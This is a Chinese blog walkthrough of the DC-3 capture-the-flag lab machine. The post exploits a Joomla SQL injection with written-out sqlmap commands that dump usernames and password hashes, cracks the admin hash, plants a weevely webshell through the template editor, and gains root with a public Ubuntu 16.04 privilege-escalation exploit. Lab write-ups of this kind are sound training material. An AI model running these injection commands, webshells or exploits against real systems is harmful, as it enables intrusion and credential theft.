靶机DC-3练习:使用weevely生成webshell并连接获取shell,通过Ubuntu16.04版本漏洞提权

1.主机发现

2.扫描端口服务版本

3.访问80端口

4.扫描后台目录

分别访问,除了空白页、首页、就是404页面,只发现下面入口

发现Joomla疑似cms,查看敏感文件

搜索该版本cms有没有什么漏洞

也可以用joomscan扫描

……同样存在sql注入

存在sql注入,根据路径查看文件

5.直接使用sqlmap工具跑库名

sqlmap -u "http://192.168.109.166/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

跑表名

sqlmap -u "http://192.168.109.166/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb--tables -p list[fullordering]

   ……  

跑列名

sqlmap -u "http://192.168.109.166/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

将用户名、密码dump出来

sqlmap -u "http://192.168.109.166/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' --dump -p list[fullordering]

使用john解hash

得到用户名admin,密码snoopy,登录后台

登录成功,寻找编辑器、上传点(与后台数据库交互点)

6.利用工具生成webshell,并上传获取shell

使用weevely生成webshell

也可以采用反弹马得到shell(https://www.jianshu.com/p/146b0efd51a2)

在html目录下创建shell.php文件

将生成的shell文件内容粘贴到编辑板上并保存(由于upload收费,暂不使用)

使用weevely连接,获取shell

7.寻找漏洞进行提权

查看内核、权限和版本(注:暂不关闭该窗口)

重新新建窗口,搜索一下Ubuntu 16.04 的相关漏洞

根据路径查看39772文件

……

发现下载提权脚本的链接,回到dc-3普通用户下,下载该脚本到/tmp目录下

根据之前39772.txt文档用法提示:

接下来,进行解压缩,回到之前的dc-3窗口下

按照用法依次执行脚本如下:

继续执行

等了很久,不知道为什么毫无反应,正常应该已经获得了root用户权限。换台kali机成功

查看id显示root,进入/root目录下可看到flag,至此,提权成功!

发布了103 篇原创文章 · 获赞 26 · 访问量 6138

猜你喜欢

转载自blog.csdn.net/qq_41210745/article/details/103682773
今日推荐